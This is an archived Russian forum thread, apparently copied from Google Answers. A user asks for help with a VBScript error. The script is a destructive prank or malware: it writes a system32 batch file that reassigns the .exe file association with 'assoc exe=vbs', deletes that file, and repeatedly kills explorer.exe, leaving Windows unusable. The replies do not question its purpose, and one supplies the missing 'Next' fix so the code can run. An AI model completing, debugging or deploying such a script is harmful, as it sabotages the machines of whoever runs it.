что за ошибка? >>>

программирование windows скрипты ошибка VBS

вот код VBS, и Windows Script Host на него вечно ругается (строка 20 символ 1) что там не так??
пишет "предпологается наличие инструкции"

Dim WSH, fso
Set WSH = WScript.CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
SR = WSH.ExpandEnvironmentStrings("%SystemRoot%")
SYS32 = SR&"\system32"
ASSOCBAT = SYS32&"\assocc.bat"
com = 250
Call cbat()

Do While com>2
Call restartExp()
WScript.Sleep 90*1000
com = com - 1
Loop

Sub restartExp()
For Each Process in GetObject("winmgmts:"). _
ExecQuery ("select * from Win32_Process where name='explorer.exe'")
Process.Terminate
End Sub

Sub cbat()
If (fso.FileExists(ASSOCBAT)) Then
wsh.Run(ASSOCBAT, True)
Call ren_source()
Else
Set cfile1 = fso.CreateTextFile(ASSOCBAT)
cfile1.WriteLine("assoc exe=vbs")
cfile1.Close
wsh.Run(ASSOCBAT, True)
Set gfile1 = fso.GetFile(ASSOCBAT)
gfile1.Delete
Call ren_source()
End If
End Sub

Примечание:
P.S. код недописанный, на несуществующую sub не обращайте внимание)

Примечание:
Майоров Павел, точно, спасибо
Ответы:
If (fso.FileExists(ASSOCBAT))...
в условии что задано? если не ошибаюсь это функция открытия файла. я точно не пойму что это за язык но тут надо сравнивать свойство файла открытости(запущенности)  с булевой переменной.
то есть типа If (fso.FileExists(ASSOCBAT))=true
Сдается мне, что вы пропустили слово next перед end sub
По крайней мере, цикл for each должен быть закрыт!


13 лет назад

RPI.su - самая большая русскоязычная база вопросов и ответов. Наш проект был реализован как продолжение популярного сервиса otvety.google.ru, который был закрыт и удален 30 апреля 2015 года. Мы решили воскресить полезный сервис Ответы Гугл, чтобы любой человек смог публично узнать ответ на свой вопрос у интернет сообщества.

Все вопросы, добавленные на сайт ответов Google, мы скопировали и сохранили здесь. Имена старых пользователей также отображены в том виде, в котором они существовали ранее. Только нужно заново пройти регистрацию, чтобы иметь возможность задавать вопросы, или отвечать другим.

Чтобы связаться с нами по любому вопросу О САЙТЕ (реклама, сотрудничество, отзыв о сервисе), пишите на почту [email protected]. Только все общие вопросы размещайте на сайте, на них ответ по почте не предоставляется.